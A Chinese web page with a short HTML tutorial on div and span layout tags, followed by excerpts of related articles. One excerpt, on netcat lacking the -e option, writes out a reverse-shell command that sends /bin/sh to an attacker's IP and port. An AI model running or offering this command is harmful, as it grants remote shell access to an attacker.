HTML常用标签-布局相关标签

布局标签

div标签 俗称"块",主要用于划分页面结构,做页面布局
自己独占一行的元素,设置宽高生效

span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰
不会自己独占一行的元素,设置宽高不生效

  • 代码
    <div style="width: 500px; height: 400px;background-color: cadetblue;"><div style="width: 400px; height: 100px;background-color: beige;margin: 10px auto;"><span style="color: blueviolet;">页面开头部分</span></div> <div style="width: 400px; height: 100px;background-color: blanchedalmond;margin: 10px auto;"><span style="color: blueviolet;">页面中间部分</span></div> <div style="width: 400px; height: 100px;background-color: burlywood;margin: 10px auto;"><span style="color: blueviolet;">页面结尾部分</span></div> </div>
  • 效果
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12318.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

海南省薪鑫网络科技有限公司:引领智能剪辑纪元!

在数字化浪潮的激荡下&#xff0c;海南省薪鑫网络科技有限公司凭借其尖端技术实力&#xff0c;正引领着内容创作行业迈向一个崭新的智能剪辑纪元。这一划时代的变革&#xff0c;源于公司精心打造的AI剪辑软件&#xff0c;它不仅为剪辑工作赋予了新的高度&#xff0c;也为广大创…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …

数据结构与算法-排序算法2-选择排序

目录 1.选择排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结选择排序规则 5.选择排序代码 6.运行时间 代码&#xff1a; 运行结果&#xff1a; 1.排序算法简介 排序也称为排序算法。排序是将一组数据依据指定的顺序进行排列的过程。 2.常见的排序算法…

国内好用的测试用例管理工具有哪些?

目前市面上的测试用例管理工具有很多&#xff0c;但由于针对的项目、领域、目标用户&#xff0c;功能也并不一致&#xff0c;所以选择一款适合的测试管理平台并不轻松。做好这件事&#xff0c;首先要需求明确你用测试管理工具干什么&#xff1f;最终想要达到什么目标&#xff1…

vue2人力资源项目8员工详情

页面结构 <template><div class"dashboard-container"><div class"app-container"><div class"edit-form"><el-form ref"userForm" label-width"220px"><!-- 姓名 部门 --><el-row…

【科研】常用的实验结果评价指标(2) —— MAE 是什么? !

了解MAE 提示&#xff1a;先说概念&#xff0c;后续再陆续上代码 文章目录 了解MAE前言一、MAE 基本概念1. MAE 是什么&#xff1f;2. MAE 的起源3. MAE 的计算公式 二、MAE的适用场景是什么&#xff1f;三、MAE 的劣势&#xff0c;或 不适用于那些场景或者数据&#xff1f;四、…

Linux修炼之路之yum和vim编辑器

目录 一&#xff1a;Linux软件包管理器yum 二&#xff1a;vim编辑器 vim的三种模式及互相转换 命令模式 底行模式 三&#xff1a;普通用户的sudo指令(修改信任名单) 接下来的日子会顺顺利利&#xff0c;万事胜意&#xff0c;生活明朗-----------林辞忧 一&#xff1a…

c++编程(11)——string类的模拟实现

欢迎来到博主的专栏——c编程 博主ID&#xff1a;代码小豪 文章目录 前言string类的模拟实现string的成员对象构造、赋值、析构访问成员对象的接口访问字符串中的元素迭代器对字符序列的插入、删除元素操作mystring类的相关操作 mystring类的所有模拟实现以及测试案例 前言 本…

【已解决】 ‘Conv2d’ object has no attribute ‘register_full_backward_hook’

&#x1f60e; 作者介绍&#xff1a;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff0c;视频号&#xff1a;AI-行者Sun &#x1f388; 本文专栏&#xff1a;本文收录于《AI实战中的各种bug…

(四十二)第 6 章 树和二叉树(树的二叉链表(孩子-兄弟)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

centos7中如何优雅的动态切换jdk版本?

在 CentOS 7 中动态切换 JDK 版本可以通过多种方法实现&#xff0c;其中最常见的方法是使用 alternatives 命令&#xff0c;这是 CentOS 和其他基于 Red Hat 的系统中用于管理多个软件版本的标准工具。下面我会详细介绍如何使用 alternatives 命令来切换 JDK 版本。 步骤 1: 安…

【JS面试题】this

this取什么值&#xff0c;是在函数执行的时候确定的&#xff0c;不是在函数定义的时候确定的&#xff01; this的6种使用场景&#xff1a; ① 在普通函数中使用&#xff1a;返回window对象 ② 使用call apply bind 调用&#xff1a;绑定的是哪个对象就返回哪个对象 ③ 在对象…

怎样计算Excel一列数值中十位数为5的个数?

有一列数字&#xff0c;可能正数也可能是负数&#xff0c;有可能有小数&#xff0c;要怎么计算这列数字中十位数为5的数量有多少个&#xff1f; 一、按示例情况&#xff0c;数字均为整数 公式如下&#xff1a; SUM(--(MID(A1:A6,LEN(A1:A6)-1,1)"5")) 数组公式&a…

一台linux通过另一台linux访问互联网-TinyProxy

参考&#xff1a; https://blog.csdn.net/weixin_41831919/article/details/113061317https://www.yuncongz.com/archives/1.htmlhttps://blog.csdn.net/aoc68397/article/details/101893369 环境&#xff1a;ubuntu 18.04 机器1: IP 219.216.65.252 (可以访问外网) 机器2: IP…

【C++语言】动态内存管理

文章目录 前言内存管理数据存储位置C语言动态内存管理方式C动态内存管理方式&#xff1a;new/deleteoperator new与operator delete函数new和delete的实现原理定位new表达式&#xff08;了解&#xff09;常见面试题 总结C语言系列学习目录 前言 本章要介绍的是动态内存管理&am…